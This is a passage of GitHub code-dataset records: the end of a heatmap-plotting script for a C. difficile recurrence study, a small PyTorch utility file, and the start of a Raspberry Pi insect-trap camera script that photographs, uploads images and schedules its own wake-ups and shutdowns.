'Fig3_data.xlsx', mode='a') as writer:\n data.to_excel(writer, sheet_name=key)\n else:\n with pd.ExcelWriter(path_to_save_data + '/' + 'Fig3_data.xlsx', mode = 'w') as writer:\n data.to_excel(writer, sheet_name = key)\n if key != '16s':\n tmin, tmax, N = -2, 2, 512\n lowval = N * (abs(vmin - tmin) / (vmax - vmin))\n highval = N - N * (abs(vmax - tmax) / (vmax - vmin))\n temp = sns.color_palette(cmap_heat, int(highval - lowval), as_cmap=True)\n new_colors = np.zeros((N, 4))\n new_colors[:int(N / 2), :] = temp(0.9999999)\n new_colors[int(N / 2):, :] = temp(0)\n new_colors[int(lowval):int(highval), :] = temp(np.linspace(1,0, int(highval) - int(lowval)))\n new = ListedColormap(new_colors)\n pos = ax_heat[i].imshow(data, cmap=new,\n vmin=vmin, vmax=vmax, interpolation='nearest', aspect='auto');\n else:\n pos = ax_heat[i].imshow(data + 1, cmap=sns.light_palette(cmap_heat, as_cmap=True),\n interpolation='nearest', aspect='auto',\n norm=colors.LogNorm(vmin=1, vmax=vmax));\n\n ax_heat[i].set_frame_on(False)\n ax_heat[i].axes.get_yaxis().set_visible(False)\n ax_heat[i].grid(False, axis='x')\n if float(week) == 0:\n ax_heat[i].set_xlabel('Pre-antibiotic \\n Treatment')\n else:\n ax_heat[i].set_xlabel('Week ' + str(week))\n ax_heat[i].xaxis.set_label_position('bottom')\n outcomes = np.expand_dims(outcomes, 0)\n ax_heat[i].set_xticks(outcome_locs)\n ax_heat[i].xaxis.tick_top()\n # if i == 0:\n # ax_heat[i].set_xticklabels(['Recurrer ', 'Non-recurrer'], ha='center')\n # else:\n ax_heat[i].set_xticklabels(['R', 'NR'], ha='center')\n ax_heat[i].tick_params(axis=u'both', which=u'both', length=0)\n colors2 = ['darkslategray', 'darkcyan']\n\n if 't-stat' in df_side[i].columns.values:\n df_side[i]['t-stat'] = df_side[i]['t-stat'].fillna(0)\n elif 'coef, outcome' in df_side[i].columns.values:\n df_side[i]['coef, outcome'] = df_side[i]['coef, outcome'].fillna(0)\n else:\n df_side[i].iloc[:, -1:] = df_side[i].iloc[:, -1:].fillna(0)\n\n df_side[i].iloc[:, 0] = df_side[i].iloc[:, 0].fillna(1)\n\n\n right = ax_side[i].imshow(df_side[i].iloc[:, 0:1], interpolation='nearest', aspect='auto',\n cmap=sns.light_palette(cmap_sig, reverse=True,\n as_cmap=True),\n norm=colors.LogNorm(vmin=1e-4, vmax=1))\n\n if 't-stat' in df_side[i].columns.values:\n test_stat_lab = 't-stat'\n elif 'test-statistic' in df_side[i].columns.values:\n test_stat_lab = 'test-statistic'\n elif 'test statistic' in df_side[i].columns.values:\n test_stat_lab = 'test statistic'\n elif 'log2fold' in df_side[i].columns.values:\n test_stat_lab = 'log2fold'\n elif 'coef, outcome' in df_side[i].columns.values:\n test_stat_lab = 'coef, outcome'\n\n if 'BH corrected' in df_side[i].columns.values:\n p_lab = 'BH corrected'\n elif 'BH Corrected' in df_side[i].columns.values:\n p_lab = 'BH Corrected'\n elif 'padj' in df_side[i].columns.values:\n p_lab = 'padj'\n else:\n p_lab = 'FDR, Outcome'\n labels = df_side[i][test_stat_lab].copy()\n labels[(df_side[i][test_stat_lab].astype('float64') < 0) * (df_side[i][p_lab].astype('float64') <= 0.05)] = '\\u2193'\n labels[(df_side[i][test_stat_lab].astype('float64') > 0) * (df_side[i][p_lab].astype('float64') <= 0.05)] = '\\u2191'\n labels[df_side[i][test_stat_lab].astype('float64') == 0] = ''\n labels[df_side[i][p_lab].astype('float64') > 0.05] = ''\n labels[np.isnan(df_side[i].iloc[:, -1])] = ''\n ax_side[i].set_yticks(np.arange(df_side[i].shape[0]))\n ax_side[i].set_yticklabels(labels)\n ax_side[i].tick_params(axis='y', which='major', pad=0.05, left=False, labelleft=False, labelright=True)\n ax_side[i].tick_params(axis=u'both', which=u'both', length=0)\n ax_side[i].yaxis.set_label_position('right')\n ax_side[i].axes.get_xaxis().set_visible(False)\n ax_side[i].set_frame_on(False)\n\n fig.tight_layout()\n fig.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=0.1, hspace=0.01)\n\n return fig, ax_heat, ax_side, right, pos\n\n\ndef lookup_by_names(tree, otu_dict, seq_to_otu,\n path_to_univariate_analysis = '/Users/jendawk/Dropbox (MIT)/C Diff Recurrence Paper/Analyses/univariate_analysis/',\n filenames = 'deseq2_16s',\n branch_len=0.1):\n sub_gps_to_name = []\n for week in [0, 1, 2]:\n univ_anal = pd.read_csv(path_to_univariate_analysis + '/16s/' + filenames + str(week) +\n '.csv', index_col=0)\n otus = univ_anal.index.values[univ_anal['padj'] < 0.1]\n sub_gps_to_name.extend(otus)\n sub_gps_to_name = np.unique(sub_gps_to_name)\n otu_to_name = [seq_to_otu[seq] for seq in sub_gps_to_name if seq in seq_to_otu.keys()]\n\n names = {}\n otu_order = []\n for clade in tree.find_clades():\n if clade.branch_length:\n if clade.branch_length > branch_len:\n clade.branch_length = branch_len\n if clade.name:\n if clade.name not in otu_dict.keys():\n dropped = tree.prune(clade)\n continue\n # if clade.name in otu_to_name:\n # clade.color = 'red'\n otu_order.append(clade.name)\n # if clade.name == 'ASV_83':\n # clade.name = otu_dict[clade.name]['tax'] + ',\\n' + clade.name.replace('_','')\n if isinstance(otu_dict[clade.name]['tax'], str):\n if ' ' in otu_dict[clade.name]['tax']:\n clade.name = '*' + otu_dict[clade.name]['tax'].replace(\n '_', ' ') + ', ' + clade.name.replace('_', ' ')\n else:\n clade.name = '**' + otu_dict[clade.name]['tax'].replace(\n '_', ' ') + ', ' + clade.name.replace('_', ' ')\n else:\n clade.name = ' '.join(list(otu_dict[clade.name]['tax'].dropna())[5:]).replace(\n '_', '') + ', ' + clade.name.replace('_', ' ')\n\n if clade.name == '**, ASV 89' or clade.name == '**, ASV 204':\n clade.name = '***Lachnospiraceae' + clade.name.split('**')[-1]\n if clade.name == '**, ASV 132':\n clade.name = '***Ruminococcaceae' + clade.name.split('**')[-1]\n\n names[clade] = clade.name\n\n return names\n\n\nif __name__ == \"__main__\":\n\n # set data_path to point to directory with data\n save_path = '/Users/jendawk/Dropbox (MIT)/C Diff Recurrence Paper/'\n\n data_path = save_path + \"Data/\"\n\n # Option to change filtering criteria\n dl = dataLoader(path=data_path, pt_perc={'metabs': .25, '16s': .1, 'scfa': 0, 'toxin': 0}, meas_thresh=\n {'metabs': 0, '16s': 10, 'scfa': 0, 'toxin': 0},\n var_perc={'metabs': 50, '16s': 5, 'scfa': 0, 'toxin': 0}, pt_tmpts=1)\n\n path_to_save = '/Users/jendawk/Dropbox (MIT)/C Diff Recurrence Paper/Analyses/'\n\n path_univariate = path_to_save + 'univariate_analysis/'\n\n feats_dict_sm = {}\n # feats_dict_labels = {}\n for dtype in ['16s', 'metabs']:\n feats = []\n imp_feats = []\n print(dtype)\n univariate = path_to_save + 'univariate_analysis/'\n for file in os.listdir(univariate + dtype):\n if '.csv' not in file or 'ecurrer' in file:\n continue\n if dtype == '16s' and 'deseq2' not in file:\n continue\n if dtype == 'metabs' and 'ttest' not in file:\n continue\n pvals = pd.read_csv(path_univariate + dtype + '/' + file, index_col=[0])\n if 'padj' in pvals.columns.values:\n pa = 'padj'\n else:\n pa = 'BH corrected'\n p_imp = pvals.index.values[pvals[pa] <= 0.05]\n imp_feats.extend(p_imp)\n\n feats_dict_sm[dtype] = np.unique(imp_feats)\n print(len(np.unique(imp_feats)))\n print('')\n\n ratios = {}\n for key in 'metabs', '16s', 'scfa':\n data, _ = get_data(key, dl, dtype='filtered_data')\n total = data.shape[0]\n ratios[key] = {}\n for week in [0, 1, 2]:\n data, _ = get_data(key, dl, week=week, dtype='filtered_data')\n ratios[key][week] = (data.shape[0] / total) * 14\n\n fig, ax = plt.subplots(1, 10, gridspec_kw={'width_ratios': [2, 4, ratios['metabs'][0], 0.5, 0.15,\n ratios['metabs'][1], 0.5, 0.15, ratios['metabs'][2],\n 0.5]},\n figsize=(7.5, 3.6875),\n constrained_layout=False)\n\n set_font_sizes(None, {'font': 10, 'axes_title': 10, 'axes_label': 10,\n 'xtick_label': 8.5, 'ytick_label': 8,\n 'legend': 10, 'figure_title': 12})\n\n # ax_metabs = ax[0,[1,3,5]]\n # ax_dendro = ax[0,0]\n # ax_top = ax[1,[1,3,5]]\n # ax_side = ax[0,[2,4,6]]\n # ax_inv = ax[1,[0,2,4,6]]\n\n ax_metabs = ax[[2, 5, 8]]\n ax_dendro = ax[0]\n ax_side = ax[[3, 6, 9]]\n ax_inv = ax[[0, 1, 3, 6, 9]]\n ax_inv_bw = ax[[1, 4, 7]]\n\n for axx in ax_inv_bw:\n axx.set_visible(False)\n\n weeks = [0, 1, 2]\n\n custom_order = ['Hemoglobin and Porphyrin Metabolism', 'Secondary Bile Acid Metabolism',\n ['Progestin Steroids', 'Estrogenic Steroids', 'Androgenic Steroids', 'Corticosteroids'],\n 'Endocannabinoid', ['Phosphatidylcholine (PC)', 'Lysophospholipid'],\n 'Sphingomyelins', 'Urea cycle; Arginine and Proline Metabolism', 'Carbohydrate',\n 'Food Component/Plant',\n ['Drug - Antibiotic', 'Drug - Analgesics, Anesthetics']]\n # custom_order = np.flip(custom_order)\n\n col_mat_df = dl.col_mat_mets\n col_mat_sorted = col_mat_df.sort_values(by=['SUPER_PATHWAY', 'SUB_PATHWAY'])\n biochem_sorted = col_mat_sorted.index.values\n df_dendro = col_mat_sorted[['SUPER_PATHWAY', 'SUB_PATHWAY']].astype('category')\n\n # df_dendro = df_dendro.replace('Partially Characterized Molecules','Partially \\nCharacterized \\nMolecules')\n # df_dendro = df_dendro.replace('Cofactors and Vitamins', 'Cofactors \\nand \\nVitamins')\n\n dat, _ = get_data('metabs', dl, dtype='data', features=feats_dict_sm['metabs'])\n\n fig, ax_dendro, order_dict, pathways = make_metab_dendrogram(df_dendro, dat, fig, ax_dendro, custom_order)\n rownames = np.concatenate([order_dict[path] for path in pathways])\n # rownames = np.flip(rownames)\n\n # rownames = dat.columns.values\n fig, ax_metabs, ax_side, right, pos = plot_heatmap('metabs', rownames, fig, ax_metabs, ax_side, dl,\n cmap_heat=\"vlag\", cmap_sig='gold')\n # df_side = make_side_heatmap('metabs', rownames, fig, ax_side_strip,\n # path_to_save, colormap = 'PRGn', plot_padj = True)\n\n ax_metabs[0].axes.get_yaxis().set_visible(True)\n set_font_sizes(None, {'font': 4.5})\n ax_metabs[0].set_yticks(np.arange(len(rownames)))\n\n # slab = get_rownames(rownames)\n ax_metabs[0].set_yticklabels(rownames, fontsize=10)\n ax_metabs[0].tick_params('both', length=0, which='major')\n\n ax_dendro.set_frame_on(False)\n ax_dendro.axes.get_xaxis().set_visible(False)\n ax_dendro.axes.get_yaxis().set_visible(False)\n\n set_font_sizes(None, {'font': 8})\n arr_x = 0.96\n arr_y = 0.08\n # cbaxes = fig.add_axes([arr_x + .08, -.2, 0.04, 0.45])\n # cbaxes.set_xlabel('FDR', labelpad = 5, loc = 'left')\n # cb = fig.colorbar(right, cax = cbaxes)\n # # cbaxes.set_yticklabels([r'$10^{-24}$',r'$10^{-18}$',r'$10^{-12}$',r'$10^{-6}$','1'])\n # cbaxes.xaxis.set_label_position('top')\n\n cbaxes2 = fig.add_axes([arr_x + .081, 0.13, 0.032, 0.45])\n cb2 = fig.colorbar(pos, cax=cbaxes2)\n cbaxes2.set_xlabel('Standardized\\nMetabolite\\nLevels', loc='center')\n # cbaxes2.set_yticklabels([0,10,r'$10^{2}$',r'$10^{3}$',r'$10^{4}$'])\n cbaxes2.xaxis.set_label_position('top')\n fig.savefig(path_to_save + 'output_figures/Fig3/metabs_sm_005.pdf', bbox_inches='tight')\n", "repo_name": "gerberlab/cdiff_paper_analyses", "sub_path": "scripts/make_heatmaps.py", "file_name": "make_heatmaps.py", "file_ext": "py", "file_size_in_byte": 24421, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "matplotlib.rc", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 70, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.pdist", "line_number": 116, "usage_type": "call"}, {"api_name": "scipy.spatial", "line_number": 116, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance.squareform", "line_number": 117, "usage_type": "call"}, {"api_name": "scipy.spatial", "line_number": 117, "usage_type": "attribute"}, {"api_name": "scipy.stats.spearmanr", "line_number": 120, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 120, "usage_type": "name"}, {"api_name": "scipy.cluster.hierarchy.linkage", "line_number": 127, "usage_type": "name"}, {"api_name": "scipy.cluster", "line_number": 127, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance.squareform", "line_number": 127, "usage_type": "call"}, {"api_name": "scipy.spatial", "line_number": 127, "usage_type": "attribute"}, {"api_name": "seaborn.clustermap", "line_number": 130, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy.linkage", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.colors.to_rgba", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 139, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance.pdist", "line_number": 147, "usage_type": "call"}, {"api_name": "scipy.spatial", "line_number": 147, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance.squareform", "line_number": 148, "usage_type": "call"}, {"api_name": "scipy.spatial", "line_number": 148, "usage_type": "attribute"}, {"api_name": "scipy.stats.spearmanr", "line_number": 150, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 150, "usage_type": "name"}, {"api_name": "scipy.cluster.hierarchy.linkage", "line_number": 155, "usage_type": "name"}, {"api_name": "scipy.cluster", "line_number": 155, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance.squareform", "line_number": 155, "usage_type": "call"}, {"api_name": "scipy.spatial", "line_number": 155, "usage_type": "attribute"}, {"api_name": "seaborn.clustermap", "line_number": 158, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy.linkage", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.collections.LineCollection", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.collections.LineCollection", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 312, "usage_type": "call"}, {"api_name": "os.path", "line_number": 312, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 313, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path", "line_number": 314, "usage_type": "attribute"}, {"api_name": "pandas.ExcelWriter", "line_number": 315, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 318, "usage_type": "call"}, {"api_name": "seaborn.color_palette", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 329, "usage_type": "call"}, {"api_name": "seaborn.light_palette", "line_number": 333, "usage_type": "call"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 335, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 335, "usage_type": "name"}, {"api_name": "seaborn.light_palette", "line_number": 366, "usage_type": "call"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 368, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 368, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 415, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 481, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 488, "usage_type": "call"}]} {"seq_id": "70416886950", "text": "import numpy as np\nimport torch\n\ndef one_hot(vector, n):\n out = np.zeros(n)\n for i in vector:\n out[i] = 1\n return out\n\ndef masked_mse(pred, label, mask):\n # multi-output mse with masking\n return torch.sum(((pred-label)**2)*mask)/torch.sum(mask)\n\ndef masked_aCC(pred, label, mask):\n # multi-output average correlation coefficient with masking\n d_label = (label - (torch.sum(label*mask,1)/torch.sum(mask, 1)).view(-1,1))*mask\n d_pred = (pred - (torch.sum(pred*mask,1)/torch.sum(mask, 1)).view(-1,1))*mask\n x = torch.sum(d_label*d_pred, 1)\n y = torch.sqrt(torch.sum(d_label**2, 1) * torch.sum(d_pred**2, 1))\n aCC = torch.mean(x/y)\n #aCC = torch.mean(x/y)\n return x/y", "repo_name": "yysun0116/drug_response_prediction", "sub_path": "1.Computational_method_comparison/WL_GNN_model/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 709, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 20, "usage_type": "call"}]} {"seq_id": "23863785269", "text": "\nimport requests\nimport base64\nfrom datetime import datetime\nfrom os import path\nfrom os import system\nfrom response_actions import change_battery, stay_on, update, send_log, get_trap_status, send_run_time\nfrom Autofocus import get_focus\nfrom picamera import PiCamera\nfrom ctypes import * # Motorized 8mp line\nimport time\nimport logging\nimport subprocess\nimport json\n# import trap\n\nFOCUS_VAL = 202 # Motorized 8mp line\n\nFAIL_REBOOT_ATTEMPTS = 1\nREBOOT_TIME = 120 # 2 minutes\nCONNECTIVITY_SLEEP_TIME = 10 # 10 sec\nSLEEP_BEFORE_SHUTDOWN = 5 # 5 seconds\nSTAY_ON_SLEEP = 600 # 10 minutes\nURL = 'https://us-central1-cameraapp-49969.cloudfunctions.net/serverless/trap_image'\nBOOT_DATA_FILE_PATH = \"trap.data\"\nSTARTUP_TIMES = ['11:00:00', '13:00:00', '15:00:00', '17:00:00', '19:00:00', '21:00:00', '23:00:00']\n\n\ndef connected_to_internet(url='http://www.google.com/', timeout=10):\n try:\n _ = requests.head(url, timeout=timeout)\n return True\n except requests.ConnectionError:\n logging.info(\"No internet connection available.\")\n return False\n\n\ndef get_serial():\n cpu_serial = None\n try:\n f = open('/proc/cpuinfo', 'r')\n for line in f:\n if line[0:6] == 'Serial':\n cpu_serial = line[10:26]\n f.close()\n except:\n logging.error(\"Couldn't return trap's serial\")\n return None\n return cpu_serial\n\n\ndef get_camera_type():\n camera_five = None\n if path.exists('camera.db'):\n file = open('camera.db', \"r\")\n camera_five = file.read().strip()\n file.close()\n if not camera_five:\n return None\n return camera_five == \"true\"\n\n\ndef get_focus_value(should_focus=False):\n focus = FOCUS_VAL\n if should_focus:\n focus = get_focus()\n logging.info(\"using auto-focus. value for auto is: \" + str(focus))\n update_trap_data(\"trap_focus.db\", focus)\n return focus\n if path.exists('trap_focus.db'):\n file = open('trap_focus.db', \"r\")\n focus = file.read().strip()\n file.close()\n if not focus:\n return None\n return int(focus)\n\n\ndef get_token():\n token_trap = None\n if path.exists('token.db'):\n file = open('token.db', \"r\")\n token_trap = file.read().strip()\n file.close()\n if not token_trap:\n return None\n return token_trap\n\n\ndef get_test_mode():\n if path.exists('testMode.db'):\n file = open('testMode.db', \"r\")\n test_mode = file.read().strip()\n file.close()\n if not test_mode:\n return None\n if test_mode.lower() == \"true\":\n return True\n elif test_mode.lower() == \"false\":\n return False\n return None\n\n\ndef get_trap_version():\n if path.exists('release_version.db'):\n file = open('release_version.db', \"r\")\n version = file.read().strip()\n if version:\n return version\n return \"main\"\n\n\ndef get_trap_boot_data_config():\n if path.isfile(BOOT_DATA_FILE_PATH):\n with open(BOOT_DATA_FILE_PATH) as file:\n config = json.load(file)\n logging.info('trap config data: ' + str(config))\n return config\n else:\n logging.info(\"no boot data file\")\n\n\ndef update_config_file(config):\n file = open(BOOT_DATA_FILE_PATH, \"w\")\n json.dump(config, file)\n file.close()\n\n\ndef write_trap_boot_data(boot_count, run_time, startup_time, image_taken_today):\n logging.info(\"Boot count is \" + str(boot_count))\n logging.info(\"Startup time is \" + str(startup_time))\n file = open(BOOT_DATA_FILE_PATH, \"w\")\n json.dump(\n {'boot_count': boot_count, 'startup_time': startup_time,\n 'run_time': run_time, 'image_taken_today': image_taken_today}, file)\n file.close()\n\n\ndef take_pic(trap_status):\n is_five_mega = get_camera_type()\n focus_value = get_focus_value(trap_status.get(\"auto_focus\"))\n logging.info(\"Starting camera process with - \" + (\n \"5 mega pixel.\" if is_five_mega else \"8 mega pixel.\") + \" with focus value:\" + str(focus_value))\n camera_res = (2592, 1944)\n if not is_five_mega:\n camera_res = (3280, 2464) # Motorized 8mp line\n arducam_vcm = CDLL('./RaspberryPi/Motorized_Focus_Camera/python/lib/libarducam_vcm.so') # Motorized 8mp line\n arducam_vcm.vcm_init() # Motorized 8mp line\n camera = PiCamera()\n try:\n camera.resolution = (camera_res[0], camera_res[1])\n if not is_five_mega:\n arducam_vcm.vcm_write(focus_value) # Motorized 8mp line\n time.sleep(2) # Motorized 8mp line\n camera.capture(\"latest.jpg\")\n except Exception:\n camera.close()\n logging.exception('Failed to take a picture')\n else:\n camera.close()\n logging.info(\"Image taken and saved\")\n\n\ndef wait_for_connectivity(start_of_run, pre_config):\n time.sleep(CONNECTIVITY_SLEEP_TIME)\n while not connected_to_internet():\n logging.info(\"Sleeping for: \" + str(CONNECTIVITY_SLEEP_TIME))\n time.sleep(CONNECTIVITY_SLEEP_TIME)\n now = time.time()\n if now - start_of_run > REBOOT_TIME:\n logging.error('Didnt connect to the internet, will reboot at end of run')\n return False\n # run_reboot(pre_config, start_of_run)\n logging.info('Connected to internet')\n return True\n\n\ndef set_startup_time(is_test, start_index):\n if is_test:\n return\n p = subprocess.Popen(['sh', 'wittypi/wittyPi.sh'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n start = STARTUP_TIMES[start_index]\n command = \"5\\n?? \" + start + \"\\n11\\n\"\n stdout, stderr = p.communicate(input=command)\n # for line in stdout.splitlines()[len(stdout.splitlines()) / 2:]:\n # if line.startswith(\">>>\"):\n # logging.info(line[4:])\n # elif line.strip().startswith(\"4.\") or line.strip().startswith(\"5.\"):\n # logging.info(line[14:])\n logging.info(\"Next startup time set to: \" + str(start))\n\n\ndef set_dummy_load(remove_dummy_load):\n if remove_dummy_load is None:\n logging.warn(\"Should update dummy load, but no dummy load in request\")\n return\n dummy_load = 0 if remove_dummy_load else 25\n logging.info(\"Attempting to update dummy load to: \" + str(dummy_load))\n try:\n p = subprocess.Popen(['sh', 'wittypi/wittyPi.sh'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n command = \"9\\n 5\\n\" + str(dummy_load) + \"\\n11\"\n stdout, stderr = p.communicate(input=command)\n except Exception as e:\n logging.error(str(e) + \" failed to update dummy load\")\n logging.exception(str(e))\n else:\n logging.info(\"updated dummy load to :\" + str(dummy_load))\n\n\ndef run_reboot(config, start_of_run):\n logging.info('Run reboot')\n run_time = config[\"run_time\"]\n boot_count = config[\"boot_count\"]\n startup_time = config[\"startup_time\"]\n image_taken_today = config[\"image_taken_today\"]\n run_time += calc_run_time(start_of_run)\n if boot_count >= FAIL_REBOOT_ATTEMPTS:\n logging.info(\"Max reboots reached\")\n set_startup_time(False, startup_time)\n startup_time += 1\n if startup_time == len(STARTUP_TIMES):\n logging.info(\"No new startup time for today, setting time for tomorrow\")\n startup_time = 1\n image_taken_today = False\n set_startup_time(False, 0)\n boot_count = 0\n write_trap_boot_data(boot_count, run_time, startup_time, image_taken_today)\n logging.info(\"Shutting Down - next startup time is \" + str(STARTUP_TIMES[startup_time]))\n system(\"shutdown now -h\")\n exit()\n\n else:\n boot_count += 1\n write_trap_boot_data(boot_count, run_time, startup_time, image_taken_today)\n time.sleep(5)\n logging.info(\"Rebooting\")\n system('reboot')\n exit()\n\n\ndef calc_run_time(start_of_run):\n return round(time.time() - start_of_run, 3) / 60\n\n\ndef configure_logging(logging):\n logger_format = '%(asctime)s.%(msecs)03d %(levelname)s : %(message)s'\n logging.basicConfig(filename=\"trap.log\", level=logging.DEBUG, datefmt='%d-%m-%Y %H:%M:%S', format=logger_format)\n\n\ndef update_trap_data(db, data):\n my_file = open(db, \"w\")\n logging.info(\"Writing to :\" + db +\". with value: \" + str(data))\n my_file.write(str(data))\n my_file.close()\n\n\ndef send_image(token, trap_id, test_mode, startup_index, boot_count, config):\n with open('latest.jpg', \"rb\") as image_file:\n encoded_string = base64.b64encode(image_file.read())\n image_name = datetime.now().strftime(\"%d-%m-%Y-%H_%M\") + \".jpg\"\n run_time = get_trap_boot_data(\"run_time\", config)\n number_of_boots = startup_index * FAIL_REBOOT_ATTEMPTS + boot_count\n body = {'image': encoded_string, 'trapId': trap_id, 'imageName': image_name, 'testMode': test_mode,\n 'runTime': run_time , 'numberOfBoots': number_of_boots}\n headers = {\"Authorization\": \"Bearer \" + token}\n logging.info('Attempting to send Image')\n return requests.post(URL, data=body, headers=headers, timeout=120)\n\n\ndef send_detection(token, trap_id, test_mode, start_of_run, start_up_index, boot_count, config):\n send_attempt = True\n logging.info('Attempting to send request')\n while send_attempt:\n try:\n result = send_image(token, trap_id, test_mode, start_up_index, boot_count, config)\n except Exception as e:\n time.sleep(CONNECTIVITY_SLEEP_TIME)\n if time.time() - start_of_run > REBOOT_TIME:\n logging.error(str(e) + \" reached max retries. shutting off\")\n # run_reboot(config, start_of_run)\n return False\n logging.error(str(e) + \" failed attempt at sending request\")\n logging.exception(str(e))\n else:\n if result.status_code == 200:\n data = result.json()\n logging.info('Image sent! response data: ' + str(data))\n send_attempt = False\n return True\n else:\n logging.error(\"Image was not sent - \" + result.text)\n return False\n\n\ndef update_trap_db_status(trap_status):\n if trap_status.get(\"test_mode\") is not None:\n update_trap_data(\"testMode.db\", trap_status.get(\"test_mode\"))\n if trap_status.get(\"focus\"):\n update_trap_data(\"trap_focus.db\", trap_status.get(\"focus\"))\n\n\ndef validate_trap_base_data(token, serial):\n if not token:\n logging.error(\"Fatal error no token for pi\")\n return False\n if not serial:\n logging.error(\"Fatal error no serial for pi\")\n return False\n if not path.exists(BOOT_DATA_FILE_PATH):\n file = open(BOOT_DATA_FILE_PATH, \"w\")\n json.dump(\n {'boot_count': 0, 'startup_time': 0,\n 'run_time': 0, 'image_taken_today': False}, file)\n file.close()\n return True\n\n\ndef get_trap_base_data():\n return get_token(), get_serial()\n\n\ndef get_trap_boot_data(data, config):\n boot_data = config[data]\n logging.info('Trap boot data for: ' + str(data) + '. is: ' + str(boot_data))\n return boot_data\n\n\ndef safe_send_log_data(token, serial, delete_log = False):\n try:\n result = send_log(token, serial, delete_log)\n except Exception as e:\n logging.error('Failed to send log - exception thrown')\n logging.exception(str(e))\n else:\n if result == 200:\n logging.info(\"Sent log sent successfully!\")\n else:\n logging.error(\"Failed to send log - error returned\" + str(result))\n\n\ndef send_log_data(token, serial, weekday, send_log_request, delete_log = False):\n if send_log_request or weekday == 6:\n safe_send_log_data(token, serial, delete_log)\n\n\ndef update_trap_version(trap_status):\n version_update = trap_status.get(\"version_update\")\n logging.info('Should update version - ' + str(version_update))\n if version_update:\n requested_version = trap_status.get('requested_version')\n if requested_version:\n if update(requested_version) == 0:\n update_trap_data('release_version.db', requested_version)\n logging.info(\"Trap updated to version - \" + str(requested_version))\n else:\n logging.error('Failed to update version: ' + requested_version)\n else:\n update()\n update_trap_data('release_version.db', 'main')\n logging.info(\"Trap updated to default version 'main'\")\n\n\ndef safe_send_runtime(token, serial, overall_run_time):\n try:\n result = send_run_time(token, serial, round(overall_run_time, 3))\n except Exception as e:\n logging.error('failed to get trap status')\n logging.exception(str(e))\n else:\n if result == 200:\n logging.info(\"sent runtime sent successfully\")\n else:\n logging.error(\"failed to send runtime - error returned\" + str(result))\n\n\ndef update_trap_run_time(start_of_run, config, token=None, serial=None, should_send_runtime=False):\n total_current_run_time = calc_run_time(start_of_run)\n previous_run_time = config[\"run_time\"]\n over_all_run_time = round(total_current_run_time, 3) + previous_run_time\n config[\"run_time\"] = over_all_run_time\n update_config_file(config)\n logging.info(\"Sending run time of total - \" + str(round(over_all_run_time, 3)) + \" minutes\")\n if should_send_runtime:\n safe_send_runtime(token, serial, round(over_all_run_time, 3))\n\n\ndef attempt_get_trap_status(token, serial):\n trap_status = {}\n logging.info('Attempting to get trap status')\n try:\n trap_status, status_code = get_trap_status(token, serial)\n except Exception as e:\n logging.error('failed to get trap status')\n logging.exception(str(e))\n else:\n if status_code == 200:\n logging.info(\"Trap status Response - \" + str(trap_status))\n else:\n logging.error(\"Trap status returned error - \" + str(status_code))\n return trap_status\n\n\ndef set_emergency_shutdown():\n logging.info('Setting pre-run emergency shutdown to - ??:15')\n p = subprocess.Popen(['sh', 'wittypi/wittyPi.sh'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n command = \"5\\n?? ??:15 \\n11\\n\"\n p.communicate(input=command)\n\n\ndef set_pre_run_data(pre_config):\n pre_run_test_mode = get_test_mode()\n start_up_index = get_trap_boot_data(\"startup_time\", pre_config)\n logging.info('Setting pre-run data for trap with start_up_time ' + str(STARTUP_TIMES[start_up_index]))\n set_startup_time(pre_run_test_mode, start_up_index)\n set_emergency_shutdown()\n\n\ndef main():\n start_of_run = time.time()\n configure_logging(logging)\n internet_connection = False\n token, serial = None, None\n detection_sent = False\n config = None\n trap_status = {}\n logging.info(\"========================STARTING NEW WAKEUP LOG========================\")\n try:\n token, serial = get_trap_base_data()\n # current_trap = trap(token, serial, start_of_run, FOCUS_VAL, get_trap_version())\n logging.info('TRAP-ID:' + str(serial))\n # logging.info('TRAP-ID: ' + current_trap.get_trap_id())\n logging.info('TRAP-VERSION: ' + str(get_trap_version()))\n # 